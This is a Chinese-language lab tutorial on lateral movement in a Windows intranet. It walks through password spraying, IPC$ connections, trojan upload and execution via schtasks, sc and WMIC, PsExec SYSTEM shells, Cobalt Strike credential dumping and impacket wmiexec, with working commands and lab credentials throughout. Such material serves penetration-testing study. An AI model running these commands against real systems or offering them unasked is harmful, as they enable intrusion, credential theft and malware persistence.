简单的内网横向移动

一.内网横向移动

在内网中，通过网站漏洞打进一台机器，进行存货扫描，扫到不同网段的机器，然后经过代理打进不同网段的机器，这种叫纵向移动，如果扫到同网段的机器，而且这台机器除了正常端口开放外，没有安装其他任何服务，这可以经过横向移动，打进这台同网段的机器

二.横向移动

1.密码喷洒

在通过一台机器的网站漏洞打进机器后，进行密码获取，获取到密码后，进行密码喷洒,在内网中，用户密码一样这件事情是经常存在的，所以可以利用已经获得的密码，对其他机器进行密码喷洒

2.ipc

ipc是共享命名管道的资源，是为了让进程之间进行通信的一种命名管道，只要提供连接的用户和口令，即可在双方之间建立安全的通道，利用ipc，连接者可以对目标主机实现目录的读取以及文件的上传等。

        a.利用条件

        目标开放139（netbios协议），445（文件和打印机共享）端口，手工利用需要都开启

        目标开启ipc$文件共享服务及默认共享

        目标管理员账号密码

        b.连接

        采用win7连接server08（只有administrator用户才可以建立net use连接）

net use \\192.168.8.130\ipc$ /user:administrator "wz1314521."  ————连接目标
net use  ————查看连接

然后可以通过ipc$对目标进行上传木马，但是net use并不能执行文件，但是放到开机自启动是一种方法

查看server08 C盘，成功

2.ipc+计划任务

老版计划任务AT在server 2012以后已经被弃用所以需要使用schtasks

先通过ipc将木马传入目标机器，再给其创建计划任务

schtasks /create /s 192.168.8.133 /u administrator /p "wz1314521." /sc MINUTE /mo 1 /tn test /tr "c:\LOL.exe"

创建成功，成功上线，删掉计划任务后，msf依旧不会掉线

schtasks /delete /tn test /s 192.168.8.133 /u administrator /p wz1314521.

3.ipc+sc

sc命令可以用来注册删除查询系统服务，如果创建一个服务与木马绑定，则可以实现上线，但是一会就掉线，因为要和服务管理器进行通信，若是异常，则终止服务，明显这个创建的服务并不是正常的服务，所以服务管理器则会终止服务。

sc \\192.168.8.133 create test binpath= "c:\LOL.exe" password= wz1314521. --创建test服务

sc \\192.168.8.133 start test --启动test服务

sc \\192.168.8.133 stop test  --停止服务

4.WMIC

windows管理规范，允许一台计算机远程管理另一台计算机，要求开启135和445端口，weindows，默认开启而且自带WMIC，他不支持命令，而是支持执行文件，但是可以利用他执行cmd，再执行命令

wmic /node:192.168.8.133 /user:administrator /password:wz1314521. process call create "cmd.exe /c start C:\LOL.exe"

5.psexex

PsExec的基本原理：

• 1. 通过ipc$连接，释放二进制文件psexecsvc.exe到目标

• 2. 通过服务管理SCManager远程创建一个psexec服务，并启动服务

• 3. 客户端连接执行命令，服务端通过服务启动相应的程序执行命令并回显数据

• 4. 运行结束后删除服务

使用ms的psexec

win7先上线

使用模块psexec并配置

使用之后，成功移动

利用微软提供的psexec.exe

将下载好的psexec.exe传入win7

PsExec.exe -accepteula \\192.168.8.133 -u administrator -p wz1314521. -s cmd.exe

-accepteula：第一次运行psexec会弹出确认框，使用该参数就不会弹出确认框
-u：用户名
-p：密码
-s：以system权限运行运程进程，获得一个system权限的交互式shell。如果不使用该参数，会获得一个连接所用用户权限的shell

连接成功

6.cs

进入cs，创建两个监听，一个反向连接攻击机的监听，一个准备横向移动到win server 08的正向监听，上线win7后，用cs自己的存活扫描，扫描到win server 08，于是进行横向移动

win7上线后先hashdump和logonpasswords获取明文密码和hash

成功

7.impacket的wmiexec

GitHub - maaaaz/impacket-examples-windows: The great impacket example scripts compiled for Windows

wmiexec.exe administrator:Liu78963@192.168.183.130
//wmiexec.py 用户名:密码@目标IP

.py同上述用法一样